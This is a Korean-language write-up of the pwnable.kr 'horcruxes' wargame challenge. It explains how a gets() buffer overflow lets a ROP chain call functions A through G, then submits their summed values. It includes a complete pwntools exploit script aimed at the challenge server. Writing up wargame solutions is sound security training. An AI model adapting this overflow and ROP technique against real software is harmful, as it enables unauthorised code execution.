반응형
#Pwnable.kr #horcruxes #Toddler
horcruxes 문제이다.
main 함수를 보면 다음과 같이 seccomp 설정과 더불어 init_ABCDEFG() 함수가 실행된다.
해당 init_ABCDEFG() 함수는 위와 같은데 /dev/urandom
에서 랜덤한 값을 시드로 하여 a, b, c, d, e, f, g 값을 랜덤으로 뽑아내는 함수이다.
그리고 핵심이라 할 수 있는 ropem 함수이다. 해당 함수는 위와 같이 생겼는데, A(), B(), C(), D(), E(), F(), G() 함수는 init_ABCDEFG 에서 만든 값들을 알파벳에 맞게 차례로 출력시켜주는 함수이다.
그리고 그 값들을 합친 sum 이 gets(s)
로 입력받은 s 값과 같으면 플래그를 출력시켜준다.
처음에 생각한 시나리오는 gets(s);
가 100 바이트 짜리 배열 s 를 초과하여 입력할 수 있으므로 eip 를 바로 플래그 출력 로직으로 조작하여 플래그만 읽어내도록 하자! 였는데, 웃기게도 해당 파트주소에 0xa0 바이트가 들어가있어서 gets 입력이 끊긴다...
그래서 gets 함수로 A(), B(), C(), ~ 함수들을 강제로 읽은 다음에 다시 ropem
함수로 돌아가서 sum 을 알맞게 입력해서 플래그를 읽는 것으로 마무리한다.
from pwn import *
binary=ELF("./horcruxes")
exps=0
s=remote("pwnable.kr",9032)
pay=b"a"*120
pay+=p32(binary.symbols['A'])
pay+=p32(binary.symbols['B'])
pay+=p32(binary.symbols['C'])
pay+=p32(binary.symbols['D'])
pay+=p32(binary.symbols['E'])
pay+=p32(binary.symbols['F'])
pay+=p32(binary.symbols['G'])
pay+=p32(0x0809FFFC)
def selecting(sock,payload):
sock.recvuntil("Select Menu:")
sock.sendline("1")
sock.recvuntil("How many EXP did you earned? : ")
sock.sendline(payload)
selecting(s,pay)
for i in range(ord('A'),ord('G')+1):
s.recvuntil("(EXP +")
res=s.recvuntil(")")
exps+=int(res[:-1],10)
if(exps>2147483647): #integer overflow
selecting(s,str((exps%2147483647)-2))
else:
selecting(s,str(exps))
s.interactive()
반응형
'<Wargame & CTF> > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] loveletter (0) | 2021.06.07 |
---|---|
[Pwnable.kr] brainfuck (0) | 2021.05.30 |
[Pwnable.kr] blukat (0) | 2021.05.30 |
[Pwnable.kr] asm (0) | 2021.05.29 |
[Pwnable.kr] memcpy (0) | 2021.05.29 |